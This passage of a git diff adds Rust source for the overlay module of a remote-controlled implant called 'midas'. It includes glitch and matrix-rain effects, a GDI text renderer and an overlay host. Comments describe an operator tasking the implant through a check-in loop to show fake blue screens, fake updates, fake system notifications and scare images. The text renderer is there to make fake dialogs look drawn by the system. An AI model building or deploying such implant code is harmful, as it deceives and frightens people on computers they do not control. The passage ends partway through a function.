+        "glitch" => draw_glitch(canvas, time, seed),
+        // `static` is the default arm, and the only mode with no time input.
+        _ => draw_static(canvas, time, seed),
+    }
+}
+
+fn draw_static(canvas: &mut Canvas, time: f64, seed: u64) {
+    let (w, h) = (canvas.width, canvas.height);
+    canvas.fill(Rgba::rgb(8, 8, 8));
+
+    let frame = (time * 30.0) as u64;
+    let mut rng = Rng::new(seed ^ frame.wrapping_mul(0x9E37_79B9_7F4A_7C15));
+
+    // A couple of thousand rects reads as noise and stays cheap; one rect per
+    // pixel would not.
+    for _ in 0..2200 {
+        let width = rng.range_i32(2, 12);
+        let height = rng.range_i32(1, 4);
+        let grey = rng.range_i32(20, 256) as u8;
+
+        canvas.fill_rect(
+            Rect::new(
+                rng.range_i32(0, w),
+                rng.range_i32(0, h),
+                width,
+                height,
+            ),
+            Rgba::rgb(grey, grey, grey),
+        );
+    }
+}
+
+fn draw_matrix(canvas: &mut Canvas, text: &mut TextRenderer, time: f64, seed: u64) {
+    let (w, h) = (canvas.width, canvas.height);
+    canvas.fill(Rgba::rgb(0, 8, 0));
+
+    // ASCII only, deliberately: the matrix rain reads as a terminal, and a
+    // fixed-pitch face has no CJK coverage to draw with anyway.
+    const GLYPHS: &[u8] = b"0123456789ABCDEF$<>#@%&*+=|\\";
+
+    let cell = 20;
+    let columns = w.div_euclid(cell);
+    let rows = h.div_euclid(cell);
+    let tail = 14i64;
+    let style = Style::new(17).monospace();
+
+    for column in 0..columns {
+        // Per-column speed and phase derived from the column index, so the
+        // animation is a pure function of time and needs no stored state.
+        let column_seed = seed ^ (column as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15);
+        let speed = 6.0 + (column_seed % 9) as f64;
+        let phase = ((column_seed >> 8) % 1000) as f64 / 1000.0;
+
+        let span = rows as i64 + tail;
+        let head = (time.mul_add(speed, phase * 60.0) % span as f64) as i64;
+
+        for offset in 0..tail {
+            let row = head - offset;
+            if row < 0 || row >= rows as i64 {
+                continue;
+            }
+
+            let index = (column_seed.rotate_left(row as u32 * 5) as usize) % GLYPHS.len();
+            let glyph = GLYPHS[index] as char;
+
+            // Brightest at the head, fading down the tail.
+            let colour = if offset == 0 {
+                Rgba::rgb(200, 255, 200)
+            } else {
+                Rgba::with_alpha(0, 210, 60, 255 - (offset * 235 / tail) as u8)
+            };
+
+            text.draw(
+                canvas,
+                &glyph.to_string(),
+                (column * cell, row as i32 * cell),
+                style,
+                colour,
+            );
+        }
+    }
+}
+
+fn draw_scanline(canvas: &mut Canvas, time: f64) {
+    let (w, h) = (canvas.width, canvas.height);
+    canvas.fill(Rgba::rgb(6, 10, 6));
+
+    let mut y = 0;
+    while y < h {
+        canvas.fill_rect(
+            Rect::new(0, y, w, 1),
+            Rgba::with_alpha(0, 0, 0, 140),
+        );
+        y += 3;
+    }
+
+    // A brighter band sweeping down, which is what sells it as a display fault.
+    let span = h as f64 + 200.0;
+    let band_y = (time * 260.0 % span) as i32 - 100;
+
+    for offset in 0..3 {
+        canvas.fill_rect(
+            Rect::new(0, band_y + offset * 2, w, 1),
+            Rgba::rgb(120, 255, 160),
+        );
+    }
+}
+
+fn draw_glitch(canvas: &mut Canvas, time: f64, seed: u64) {
+    let (w, h) = (canvas.width, canvas.height);
+    canvas.fill(Rgba::rgb(10, 0, 14));
+
+    let mut rng = Rng::new(seed ^ (time * 20.0) as u64);
+
+    // Horizontal slices displaced sideways, the classic datamosh look.
+    let slices = 40;
+    let band = h / slices;
+
+    for index in 0..slices {
+        let shift = if rng.f32() > 0.82 {
+            rng.range_i32(-90, 90)
+        } else {
+            0
+        };
+
+        let hue = rng.f32();
+        canvas.fill_rect(
+            Rect::new(shift, index * band, w, band),
+            Rgba::with_alpha(
+                (hue * 255.0) as u8,
+                ((1.0 - hue) * 180.0) as u8,
+                (rng.f32() * 200.0) as u8,
+                90,
+            ),
+        );
+    }
+
+    // A few solid bright bands on top.
+    for _ in 0..6 {
+        canvas.fill_rect(
+            Rect::new(
+                rng.range_i32(-60, 60),
+                rng.range_i32(0, h),
+                w,
+                rng.range_i32(2, 14),
+            ),
+            Rgba::with_alpha(255, 255, 255, rng.range_i32(40, 151) as u8),
+        );
+    }
+}
diff --git a/implants/midas/src/gdi/text.rs b/implants/midas/src/gdi/text.rs
new file mode 100644
index 0000000..ecc41ff
--- /dev/null
+++ b/implants/midas/src/gdi/text.rs
@@ -0,0 +1,422 @@
+//! Text rendering, and how it recovers an alpha channel from GDI.
+//!
+//! The overlays want the real system font, and GDI is the only way to get it.
+//! egui's bundled font is neither available in this backend nor desirable: a
+//! convincing fake system dialog has to look like it was drawn by the system.
+//!
+//! The problem is that GDI does not write the alpha channel of a 32-bit DIB. It
+//! blends the glyph against whatever is already in the device context, so text
+//! drawn straight onto the overlay would arrive as colour with a meaningless
+//! coverage value, and a `WS_EX_LAYERED` window would composite it wrongly.
+//!
+//! So text goes into a scratch DIB whose background is a sentinel colour no
+//! overlay uses, and the result is converted back into a glyph mask. GDI
+//! antialiases by mixing the text colour toward the background, so a pixel's
+//! distance from the sentinel *is* its coverage - the antialiasing is recovered
+//! exactly rather than thresholded to a hard edge.
+//!
+//! Grayscale antialiasing is requested rather than ClearType on purpose.
+//! ClearType renders each subpixel with a different colour, which would both
+//! destroy the coverage arithmetic above and leave coloured fringes once the
+//! glyph is composited somewhere other than an LCD.
+
+use std::os::windows::ffi::OsStrExt;
+
+use super::api::*;
+use super::canvas::{Canvas, Fit, Rect, Rgba};
+
+/// Slack on every side of a run, so a negative side bearing or an antialiased
+/// overhang is not clipped out of the scratch surface.
+const PAD: i32 = 4;
+
+/// A background colour no painter uses.
+///
+/// Magenta specifically: the overlays are white, grey and the accent blues, so
+/// the channel with the largest distance to the text colour is a strong one and
+/// the coverage division below is well conditioned.
+const SENTINEL: Rgba = Rgba::rgb(255, 0, 255);
+
+/// The proportional face, used for anything meant to look like a system dialog.
+const UI_FACE: &str = "Segoe UI";
+/// The fixed-pitch face, used for the matrix rain and the blue screen's frown,
+/// where a uniform advance is the whole point.
+const MONO_FACE: &str = "Consolas";
+
+/// How a run of text is set.
+#[derive(Clone, Copy, Debug, PartialEq, Eq)]
+pub struct Style {
+    /// Character cell height in pixels.
+    pub height: i32,
+    pub bold: bool,
+    pub monospace: bool,
+}
+
+impl Style {
+    pub fn new(height: i32) -> Style {
+        Style {
+            height,
+            bold: false,
+            monospace: false,
+        }
+    }
+
+    pub fn bold(mut self) -> Style {
+        self.bold = true;
+        self
+    }
+
+    pub fn monospace(mut self) -> Style {
+        self.monospace = true;
+        self
+    }
+}
+
+/// A TrueType screen font at a cell height, weight and family.
+struct Font {
+    handle: HGDIOBJ,
+    style: Style,
+}
+
+impl Font {
+    fn new(style: Style) -> Option {
+        let face: Vec = std::ffi::OsStr::new(if style.monospace {
+            MONO_FACE
+        } else {
+            UI_FACE
+        })
+        .encode_wide()
+        .chain(std::iter::once(0))
+        .collect();
+
+        let handle = unsafe {
+            CreateFontW(
+                // A negative height requests a character cell rather than an em
+                // size, which is what a pixel-accurate layout wants.
+                -style.height.max(1),
+                0,
+                0,
+                0,
+                if style.bold { FW_BOLD } else { FW_NORMAL },
+                0,
+                0,
+                0,
+                DEFAULT_CHARSET,
+                OUT_TT_PRECIS,
+                CLIP_DEFAULT,
+                ANTIALIASED_QUALITY,
+                DEFAULT_PITCH | FF_DONTCARE,
+                face.as_ptr(),
+            )
+        };
+
+        if handle.is_null() {
+            None
+        } else {
+            Some(Font { handle, style })
+        }
+    }
+}
+
+impl Drop for Font {
+    fn drop(&mut self) {
+        if !self.handle.is_null() {
+            unsafe { DeleteObject(self.handle) };
+            self.handle = std::ptr::null_mut();
+        }
+    }
+}
+
+/// Renders runs of text into a glyph mask, and composites that mask.
+///
+/// One instance per overlay window. The scratch surface and the faces are cached
+/// and reused, because a `spook` overlay re-renders the same handful of strings
+/// twenty times a second and reallocating GDI objects per frame would be both
+/// slow and a leak risk.
+pub struct TextRenderer {
+    scratch: Canvas,
+    /// Faces keyed by `[monospace][bold]`, each cached at one height. Two
+    /// families and two weights covers every painter here, and alternating
+    /// between them at a fixed size is common enough that a single-slot cache
+    /// would rebuild the face on most lines.
+    fonts: [[Option; 2]; 2],
+    /// Straight-RGBA glyph coverage at one pixel per source pixel.
+    mask: Vec,
+    mask_w: i32,
+    mask_h: i32,
+}
+
+impl TextRenderer {
+    /// Allocates the scratch surface, or `None` if GDI refuses a bitmap at all.
+    ///
+    /// There is no usable fallback for this: without a DIB there is no surface to
+    /// render into, so the caller reports it as an overlay that could not open.
+    pub fn new() -> Option {
+        Some(TextRenderer {
+            scratch: Canvas::new(64, 32)?,
+            fonts: [[None, None], [None, None]],
+            mask: Vec::new(),
+            mask_w: 0,
+            mask_h: 0,
+        })
+    }
+
+    /// Selects the face for this style, rebuilding it if the cached one is a
+    /// different size.
+    fn font_for(&mut self, style: Style) -> Option {
+        let column = usize::from(style.monospace);
+        let row = usize::from(style.bold);
+        let slot = &mut self.fonts[column][row];
+
+        if let Some(font) = slot.as_ref() {
+            if font.style.height == style.height {
+                return Some(font.handle);
+            }
+        }
+
+        // The outgoing face may still be selected in the scratch DC, and deleting
+        // a selected GDI object is not allowed, so put the stock font back first.
+        unsafe { SelectObject(self.scratch.dc(), GetStockObject(DEFAULT_GUI_FONT)) };
+
+        let replacement = Font::new(style)?;
+        let handle = replacement.handle;
+        *slot = Some(replacement);
+
+        Some(handle)
+    }
+
+    /// Advance width of `text` in pixels.
+    pub fn measure(&mut self, text: &str, style: Style) -> i32 {
+        if text.is_empty() {
+            return 0;
+        }
+
+        let Some(handle) = self.font_for(style) else {
+            return 0;
+        };
+
+        let wide: Vec = text.encode_utf16().collect();
+        let dc = self.scratch.dc();
+
+        unsafe {
+            SelectObject(dc, handle);
+            let mut size = SIZE { cx: 0, cy: 0 };
+            if GetTextExtentPoint32W(dc, wide.as_ptr(), wide.len() as i32, &mut size) == 0 {
+                return 0;
+            }
+            size.cx
+        }
+    }
+
+    /// Draws `text` with its top-left at `at`, returning true if anything was
+    /// composited.
+    ///
+    /// `at` is the top-left of the run's box, not of the first inked pixel: the
+    /// face's leading and left side bearing sit inside it. That is the stable
+    /// reference for a layout that positions text against a grid, and it is
+    /// close enough to the ink origin that centring by measured width lands
+    /// where it should.
+    pub fn draw(
+        &mut self,
+        target: &mut Canvas,
+        text: &str,
+        at: (i32, i32),
+        style: Style,
+        colour: Rgba,
+    ) -> bool {
+        if text.is_empty() {
+            return false;
+        }
+
+        let Some(handle) = self.font_for(style) else {
+            return false;
+        };
+
+        let wide: Vec = text.encode_utf16().collect();
+        if wide.is_empty() {
+            return false;
+        }
+
+        // Size the scratch to the run.
+        let dc = self.scratch.dc();
+        let (extent_w, extent_h) = unsafe {
+            SelectObject(dc, handle);
+            let mut size = SIZE { cx: 0, cy: 0 };
+            let ok = GetTextExtentPoint32W(dc, wide.as_ptr(), wide.len() as i32, &mut size);
+            (if ok == 0 { 0 } else { size.cx }, size.cy)
+        };
+
+        if extent_w <= 0 || extent_h <= 0 {
+            return false;
+        }
+
+        let needed_w = extent_w + PAD * 2;
+        let needed_h = extent_h + PAD * 2;
+
+        if self.scratch.width < needed_w || self.scratch.height < needed_h {
+            self.scratch.release();
+            match Canvas::new(needed_w, needed_h) {
+                Some(canvas) => self.scratch = canvas,
+                None => return false,
+            }
+        }
+
+        self.render_to_scratch(handle, &wide, colour);
+        self.extract_mask(colour);
+
+        // The glyph was drawn `PAD` in from the scratch origin, so the mask is
+        // offset back out by the same amount. Negative coordinates are fine:
+        // `blit` clips to the canvas.
+        target.blit(
+            &self.mask,
+            self.mask_w,
+            self.mask_h,
+            Rect::new(at.0 - PAD, at.1 - PAD, self.mask_w, self.mask_h),
+            Fit::Exact,
+            1.0,
+        );
+
+        true
+    }
+
+    /// Draws `text` horizontally centred on `centre_x`, with its top at `top`.
+    pub fn draw_centred(
+        &mut self,
+        target: &mut Canvas,
+        text: &str,
+        centre_x: i32,
+        top: i32,
+        style: Style,
+        colour: Rgba,
+    ) {
+        let width = self.measure(text, style);
+        self.draw(target, text, (centre_x - width / 2, top), style, colour);
+    }
+
+    /// Draws `text` with its right edge at `right_x` and its top at `top`.
+    pub fn draw_right(
+        &mut self,
+        target: &mut Canvas,
+        text: &str,
+        right_x: i32,
+        top: i32,
+        style: Style,
+        colour: Rgba,
+    ) {
+        let width = self.measure(text, style);
+        self.draw(target, text, (right_x - width, top), style, colour);
+    }
+
+    /// Draws the run over a cleared sentinel background and lets GDI do the
+    /// antialiasing.
+    fn render_to_scratch(&mut self, handle: HGDIOBJ, wide: &[u16], colour: Rgba) {
+        self.scratch.wipe();
+        self.scratch.fill(SENTINEL);
+
+        let dc = self.scratch.dc();
+        unsafe {
+            SelectObject(dc, handle);
+            // An opaque background mode would repaint the whole run's bounding box
+            // in the background colour; transparent mode leaves the sentinel fill
+            // alone and only blends the glyph into it.
+            SetBkMode(dc, TRANSPARENT);
+            SetTextColor(dc, to_colorref(colour));
+            TextOutW(dc, PAD, PAD, wide.as_ptr(), wide.len() as i32);
+        }
+    }
+
+    /// Turns the sentinel background into a straight-alpha glyph mask.
+    ///
+    /// GDI mixed each pixel as `SENTINEL * (1 - c) + colour * c`, so solving for
+    /// the coverage on the channel where the two differ most recovers `c`
+    /// exactly, antialiasing included.
+    fn extract_mask(&mut self, colour: Rgba) {
+        let (w, h) = (self.scratch.width, self.scratch.height);
+        self.mask_w = w;
+        self.mask_h = h;
+
+        let needed = (w * h * 4) as usize;
+        if self.mask.len() < needed {
+            self.mask.resize(needed, 0);
+        }
+
+        // Index of the channel with the longest distance to travel. The DIB is
+        // BGRA, so the byte order is the reverse of `Rgba`.
+        let sentinel = [SENTINEL.b, SENTINEL.g, SENTINEL.r];
+        let target = [colour.b, colour.g, colour.r];
+
+        let mut channel = 0usize;
+        let mut span = 0i32;
+        for index in 0..3 {
+            let distance = (target[index] as i32 - sentinel[index] as i32).abs();
+            if distance > span {
+                span = distance;
+                channel = index;
+            }
+        }
+
+        // Only reachable if a painter asked for magenta text, which would be
+        // invisible against the sentinel anyway. Nothing to recover.
+        if span == 0 {
+            self.mask[..needed].fill(0);
+            return;
+        }
+
+        let pixels = self.scratch.pixels();
+        let from = sentinel[channel] as i32;
+
+        for index in 0..(w * h) as usize {
+            let at = index * 4;
+            let value = pixels[at + channel] as i32;
+
+            // Clamped rather than wrapped, so a stray colour outside the expected
+            // ramp cannot alias into full coverage somewhere else on the glyph.
+            let coverage = ((value - from) * 255 / span).clamp(0, 255) as u8;
+
+            self.mask[at] = colour.b;
+            self.mask[at + 1] = colour.g;
+            self.mask[at + 2] = colour.r;
+            self.mask[at + 3] = coverage;
+        }
+    }
+
+    /// Greedy word wrap against real measured widths.
+    ///
+    /// The strings involved are a notification title, a notification body and a
+    /// desktop note, so the quadratic cost of re-measuring a candidate line is
+    /// irrelevant next to getting the window sized to match what gets drawn.
+    pub fn wrap(&mut self, text: &str, style: Style, max_width: i32) -> Vec {
+        let max_width = max_width.max(1);
+        let mut lines: Vec = Vec::new();
+        let mut current = String::new();
+
+        for word in text.split_whitespace() {
+            let candidate = if current.is_empty() {
+                word.to_string()
+            } else {
+                format!("{current} {word}")
+            };
+
+            if current.is_empty() || self.measure(&candidate, style) <= max_width {
+                current = candidate;
+            } else {
+                lines.push(std::mem::take(&mut current));
+                current = word.to_string();
+            }
+        }
+
+        if !current.is_empty() {
+            lines.push(current);
+        }
+
+        if lines.is_empty() {
+            lines.push(String::new());
+        }
+
+        lines
+    }
+}
+
+/// GDI stores colours as `0x00BBGGRR`, the reverse of how they are written here.
+fn to_colorref(colour: Rgba) -> COLORREF {
+    (colour.r as u32) | ((colour.g as u32) << 8) | ((colour.b as u32) << 16)
+}
diff --git a/implants/midas/src/gui/mod.rs b/implants/midas/src/gui/mod.rs
new file mode 100644
index 0000000..bcf1e6a
--- /dev/null
+++ b/implants/midas/src/gui/mod.rs
@@ -0,0 +1,834 @@
+//! Overlay host.
+//!
+//! ## Why one thread and many viewports
+//!
+//! winit permits exactly one `EventLoop` per process, and eframe wraps winit. So
+//! "spawn a thread per overlay, each with its own eframe window" cannot work -
+//! the second `run_native` would fail. The shape that does work is a single
+//! long-lived thread owning the one event loop, with each overlay created as an
+//! egui *viewport* from that one app.
+//!
+//! This is why overlays are dispatched rather than run inline. The Web UI gives
+//! a task 90 seconds (`TASK_TIMEOUT_MS` in `webui/assets/js/agents.js`), and
+//! Tombili executes `command.function(task)` on the check-in loop, so anything
+//! slow would stall check-ins and the console would report a timeout even though
+//! the overlay was working. Every visual command here returns an ack string
+//! immediately.
+//!
+//! Overlays are closed by a deadline checked in the app's `update`, and by a
+//! cancel token that `stop_all` sets from the check-in thread. The token is
+//! needed because a stop can race a request that has been queued but not yet
+//! picked up by the GUI thread; `STOP_EPOCH` covers that case by letting a
+//! request know it was submitted before the most recent stop and cancelling it
+//! the moment the GUI thread sees it.
+//!
+//! ## Two backends
+//!
+//! eframe needs a working OpenGL 3.2 implementation, and plenty of targets do
+//! not have one - a VM with 3D acceleration disabled, or an RDP session. There it
+//! fails during context creation, before the first frame, and it does so with a
+//! panic from inside glutin rather than an error worth reading. So eframe is
+//! tried first and the dependency-free GDI backend in `crate::gdi` second, and
+//! the choice is remembered for the life of the process so the dead one is not
+//! retried on every command. `host_status` reports which is live.
+
+use std::collections::HashMap;
+use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
+use std::sync::mpsc::{self, Receiver, Sender};
+use std::sync::{Arc, Mutex, OnceLock};
+use std::time::{Duration, Instant, SystemTime};
+
+mod overlay;
+pub mod win;
+
+/// What to draw. Mirrors the visual commands in `commands.rs`.
+///
+/// `Clone` because `submit` may have to build a second request when the backend
+/// it first chose turns out to be dead, and the `String`s are small and only
+/// copied on that path.
+#[derive(Clone)]
+pub enum Overlay {
+    Image {
+        path: String,
+        mode: String,
+        topmost: bool,
+    },
+    Scare {
+        path: String,
+    },
+    Bsod {
+        stopcode: String,
+        percent: i64,
+    },
+    Update {
+        title: String,
+        percent: i64,
+    },
+    Toast {
+        title: String,
+        body: String,
+    },
+    Note {
+        text: String,
+        x: i64,
+        y: i64,
+        size: i64,
+    },
+    Spook {
+        mode: String,
+    },
+}
+
+impl Overlay {
+    /// Short name used in listings and ack strings.
+    pub fn label(&self) -> &'static str {
+        match self {
+            Overlay::Image { .. } => "image",
+            Overlay::Scare { .. } => "scare",
+            Overlay::Bsod { .. } => "fakebsod",
+            Overlay::Update { .. } => "fakeupdate",
+            Overlay::Toast { .. } => "faketoast",
+            Overlay::Note { .. } => "desktopnote",
+            Overlay::Spook { .. } => "spook",
+        }
+    }
+}
+
+/// A request handed to whichever backend is running.
+pub(crate) struct Request {
+    pub id: u64,
+    pub kind: Overlay,
+    pub duration: Option,
+    pub cancel: Arc,
+    pub epoch: u64,
+}
+
+/// What the check-in thread can see about a running overlay. Owned by the GUI
+/// thread; the check-in thread only reads it and sets the cancel token.
+pub struct Active {
+    pub id: u64,
+    pub label: &'static str,
+    pub born: SystemTime,
+    pub deadline: Option,
+    pub cancel: Arc,
+}
+
+static ACTIVE: OnceLock>>> = OnceLock::new();
+static NEXT_ID: AtomicU64 = AtomicU64::new(1);
+static STOP_EPOCH: AtomicU64 = AtomicU64::new(0);
+
+fn registry() -> &'static Arc>> {
+    ACTIVE.get_or_init(|| Arc::new(Mutex::new(HashMap::new())))
+}
+
+/// The renderer an overlay host is using.
+#[derive(Clone, Copy, PartialEq, Eq, Debug)]
+enum Backend {
+    /// `gui/overlay.rs`. Needs OpenGL 3.2, and looks the better of the two.
+    Egui,
+    /// `crate::gdi`. Needs nothing but GDI.
+    Gdi,
+}
+
+impl Backend {
+    fn label(self) -> &'static str {
+        match self {
+            Backend::Egui => "eframe",
+            Backend::Gdi => "gdi",
+        }
+    }
+}
+
+/// How long a newly started backend is given to fail before it is called working.
+///
+/// The failure being guarded against happens during startup - eframe's OpenGL
+/// context is created before its first frame - so a thread still running after
+/// this window is one that got past it. Deliberately not long: a working host
+/// should not delay the operator's first prank, and the GDI backend is only
+/// reached once per process anyway.
+const STARTUP_PROBE: Duration = Duration::from_millis(300);
+
+/// The channel to the overlay thread, plus the reason it is not usable.
+///
+/// A `Mutex>` rather than a `OnceLock`, deliberately. A backend can
+/// die for reasons that are nobody's fault, and a `OnceLock` cannot be
+/// re-initialised. One failure would then poison every overlay command for the
+/// life of the process with a message that named none of the cause. Bringing the
+/// thread back up is cheap, so it is done.
+struct Host {
+    sender: Option>,
+    /// Kept only so `is_finished` can be asked. A finished thread has dropped
+    /// its `Receiver`, which is what turns every later `send` into a failure.
+    handle: Option>,
+    backend: Option,
+}
+
+static HOST: OnceLock> = OnceLock::new();
+
+/// Why the last backend stopped, recorded by the dying thread.
+///
+/// Deliberately *not* inside `Host`. A backend that fails during startup does so
+/// on its own thread, and it has to be able to record why without waiting on the
+/// host lock - because `sender` holds that lock across the startup probe in
+/// order to see the thread die. A `Mutex>` rather than an
+/// `AtomicU64` index into a table, because the reason is a `String` and the whole
+/// point is to surface it.
+static FAILURE: Mutex> = Mutex::new(None);
+
+/// Backends that have been found not to work on this target.
+///
+/// Not a single flag, because a backend that dies *after* it was reported as
+/// running has to be retired too - see `submit`. A `static` rather than a
+/// `OnceLock` because the only state is "never try this again", and both flags
+/// are read on the path of every visual command.
+struct Unusable {
+    egui: AtomicBool,
+    gdi: AtomicBool,
+}
+
+static UNUSABLE: Unusable = Unusable {
+    egui: AtomicBool::new(false),
+    gdi: AtomicBool::new(false),
+};
+
+impl Unusable {
+    fn get(&self, backend: Backend) -> bool {
+        match backend {
+            Backend::Egui => self.egui.load(Ordering::Relaxed),
+            Backend::Gdi => self.gdi.load(Ordering::Relaxed),
+        }
+    }
+
+    fn retire(&self, backend: Backend) {
+        match backend {
+            Backend::Egui => self.egui.store(true, Ordering::Relaxed),
+            Backend::Gdi => self.gdi.store(true, Ordering::Relaxed),
+        }
+    }
+
+    /// The backends still worth trying, best first.
+    ///
+    /// The retired one still appears, second, so that a target where both are
+    /// dead gets a thread attempt and a real reason rather than the weaker
+    /// "nothing is left to try". `sender` short-circuits that case.
+    fn candidates(&self) -> [Backend; 2] {
+        if self.get(Backend::Egui) {
+            [Backend::Gdi, Backend::Egui]
+        } else {
+            [Backend::Egui, Backend::Gdi]
+        }
+    }
+
+    /// True once neither backend is worth starting.
+    fn exhausted(&self) -> bool {
+        self.get(Backend::Egui) && self.get(Backend::Gdi)
+    }
+}
+
+fn host() -> &'static Mutex {
+    HOST.get_or_init(|| {
+        Mutex::new(Host {
+            sender: None,
+            handle: None,
+            backend: None,
+        })
+    })
+}
+
+/// Called by a backend's thread as it shuts down, so the check-in thread can
+/// report *why* rather than only that something went wrong.
+///
+/// Takes no host lock. See `FAILURE` for why that matters. Clearing the cached
+/// sender and handle is left to `sender`, which has to inspect them anyway and
+/// can see for itself that the thread is gone.
+pub(crate) fn record_host_failure(reason: String) {
+    crate::log::log(&format!("overlay host stopped: {reason}"));
+
+    match FAILURE.lock() {
+        Ok(mut failure) => *failure = Some(reason),
+        Err(_) => return,
+    }
+
+    // A backend's `on_exit`-equivalent only runs on a graceful shutdown, so a
+    // failed or panicked host leaves its overlays behind as ghosts -
+    // `listoverlays` would report them as running and `stopall` would count them.
+    // Nothing is alive at this point, so clear them.
+    if let Ok(mut active) = registry().lock() {
+        active.clear();
+    }
+}
+
+/// Whether an interactive desktop is reachable at all.
+///
+/// Without this the overlay thread starts, window creation fails, and the operator
+/// gets an opaque error from a command that otherwise looks fine.
+fn display_available() -> bool {
+    crate::info::gui_available()
+}
+
+/// The outcome of trying to start a backend.
+enum Started {
+    Ready(Sender),
+    Died(String),
+}
+
+/// Starts a backend, or reports why it could not stay up.
+fn start(backend: Backend, entry: fn(Receiver)) -> Started {
+    let (tx, rx) = mpsc::channel::();
+
+    // Stale, so a later failure is not reported alongside a fresh thread that is
+    // working.
+    if let Ok(mut failure) = FAILURE.lock() {
+        *failure = None;
+    }
+
+    let handle = std::thread::Builder::new()
+        .name(format!("midas-{}", backend.label()))
+        .spawn(move || entry(rx));
+
+    let handle = match handle {
+        Ok(handle) => handle,
+        Err(e) => {
+            return Started::Died(format!("could not start the {} thread: {e}", backend.label()))
+        }
+    };
+
+    if !survives_startup(&handle) {
+        return Started::Died(failure_reason().unwrap_or_else(|| {
+            format!("the {} backend stopped during startup", backend.label())
+        }));
+    }
+
+    let Ok(mut host) = host().lock() else {
+        return Started::Ready(tx);
+    };
+
+    host.sender = Some(tx.clone());
+    host.handle = Some(handle);
+    host.backend = Some(backend);
+
+    Started::Ready(tx)
+}
+
+/// Waits out `STARTUP_PROBE`, reporting whether the thread is still running.
+fn survives_startup(handle: &std::thread::JoinHandle<()>) -> bool {
+    let deadline = Instant::now() + STARTUP_PROBE;
+
+    while Instant::now() < deadline {
+        if handle.is_finished() {
+            return false;
+        }
+        std::thread::sleep(Duration::from_millis(10));
+    }
+
+    !handle.is_finished()
+}
+
+fn failure_reason() -> Option {
+    FAILURE.lock().ok().and_then(|reason| reason.clone())
+}
+
+/// Returns the sender of the running host, starting one if needed, and which
+/// backend it belongs to.
+///
+/// The backend comes back because a backend that turns out to be dead is only
+/// useful to the caller if the caller can retire it. See `submit`.
+///
+/// Liveness is asked rather than assumed. The cached sender outlives a dead
+/// thread, and sending on it only fails once an operator has already been told
+/// an overlay opened, so the check happens before the ack is produced.
+fn sender() -> Result<(Sender, Backend), String> {
+    if !display_available() {
+        return Err(
+            "this session has no interactive desktop, so no window can be created".to_string(),
+        );
+    }
+
+    {
+        let Ok(mut host) = host().lock() else {
+            return Err("overlay host state is poisoned".to_string());
+        };
+
+        // A dead thread's cached sender is dropped here rather than discovered at
+        // the send below, which would be after the operator had been told the
+        // overlay opened.
+        if host.handle.as_ref().is_some_and(|h| h.is_finished()) {
+            host.sender = None;
+            host.handle = None;
+            host.backend = None;
+        }
+
+        if let (Some(tx), Some(backend)) = (&host.sender, host.backend) {
+            return Ok((tx.clone(), backend));
+        }
+    }
+
+    // The lock is deliberately released for the rest of this function. A backend
+    // that fails while starting records the reason in `FAILURE` and then returns,
+    // and it can only reach that return while `survives_startup` is watching for
+    // the thread to end - which it cannot do if the thread is stuck waiting on a
+    // lock this function is holding.
+    if UNUSABLE.exhausted() {
+        return Err(format!(
+            "the overlay host is not running: {}",
+            failure_reason().unwrap_or_else(|| "no backend is usable".to_string())
+        ));
+    }
+
+    let mut last = String::new();
+
+    for backend in UNUSABLE.candidates() {
+        match start(backend, entry_for(backend)) {
+            Started::Ready(tx) => return Ok((tx, backend)),
+            Started::Died(reason) => {
+                crate::log::log(&format!(
+                    "{} overlay backend unavailable: {reason}",
+                    backend.label()
+                ));
+                UNUSABLE.retire(backend);
+                last = reason;
+            }
+        }
+    }
+
+    Err(format!("the overlay host is not running: {last}"))
+}
+
+/// The thread entry point for a backend.
+fn entry_for(backend: Backend) -> fn(Receiver) {
+    match backend {
+        Backend::Egui => overlay::run,
+        Backend::Gdi => crate::gdi::run,
+    }
+}
+
+fn submit(kind: Overlay, duration: Option) -> Result {
+    // One retry, and this is the part that makes the fallback reliable.
+    //
+    // `STARTUP_PROBE` is a guess at how long startup takes. When eframe finds no
+    // OpenGL immediately the guess is generous enough and the retry never
+    // happens - but software GL is slow, and a context that takes half a second
+    // to fail looks alive to the probe. The probe then hands back a sender for a
+    // thread that is already on its way out, and without a retry every later
+    // command would start eframe again, watch it die again, and fail identically
+    // - the fallback would never be reached at all, which is the exact situation
+    // it exists for.
+    //
+    // Detecting the death on the send instead of trying to predict it costs one
+    // attempt and has no window in which it can be wrong.
+    let mut last = String::new();
+
+    for _ in 0..2 {
+        let (tx, backend) = sender()?;
+
+        // Allocated per attempt rather than once, because a retry must be a
+        // distinct overlay id - reusing the first would overwrite the registry
+        // entry of an overlay that never opened.
+        let id = NEXT_ID.fetch_add(1, Ordering::Relaxed);
+
+        let request = Request {
+            id,
+            kind: kind.clone(),
+            duration,
+            cancel: Arc::new(AtomicBool::new(false)),
+            epoch: STOP_EPOCH.load(Ordering::Relaxed),
+        };
+
+        if tx.send(request).is_ok() {
+            return Ok(id);
+        }
+
+        last = failure_reason().unwrap_or_else(|| {
+            format!(
+                "the {} backend stopped while the command was being sent",
+                backend.label()
+            )
+        });
+        crate::log::log(&format!("{last}; retiring it"));
+
+        UNUSABLE.retire(backend);
+        forget_host(backend);
+    }
+
+    Err(format!("the overlay host is not running: {last}"))
+}
+
+/// Drops a retired backend's cached sender and handle.
+///
+/// Called on the failure path only, so the handle is detached rather than
+/// joined - joining would block the check-in loop for however long the thread
+/// takes to unwind, and there is nothing to collect.
+fn forget_host(backend: Backend) {
+    if let Ok(mut host) = host().lock() {
+        if host.backend == Some(backend) {
+            host.sender = None;
+            host.handle = None;
+            host.backend = None;
+        }
+    }
+}
+
+/// Whether the overlay host is running, which backend it is, and if it is not
+/// running, why.
+///
+/// Surfaced by `sysinfo` so the situation is visible before a prank is sent
+/// rather than discovered from a task result.
+pub fn host_status() -> String {
+    let mut status = match host().lock() {
+        Ok(host) if host.handle.as_ref().is_some_and(|h| !h.is_finished()) => {
+            let backend = host.backend.map(Backend::label).unwrap_or("unknown");
+            format!("overlay host: running ({backend})")
+        }
+        // Dropped for the same reason `sender` drops it: the entry describes a
+        // thread that no longer exists.
+        Ok(mut host) => {
+            if host.handle.as_ref().is_some_and(|h| h.is_finished()) {
+                host.sender = None;
+                host.handle = None;
+                host.backend = None;
+            }
+            match failure_reason() {
+                Some(reason) => format!("overlay host: not running - {reason}"),
+                None => "overlay host: not started yet".to_string(),
+            }
+        }
+        Err(_) => "overlay host: state is poisoned".to_string(),
+    };
+
+    if UNUSABLE.get(Backend::Egui) {
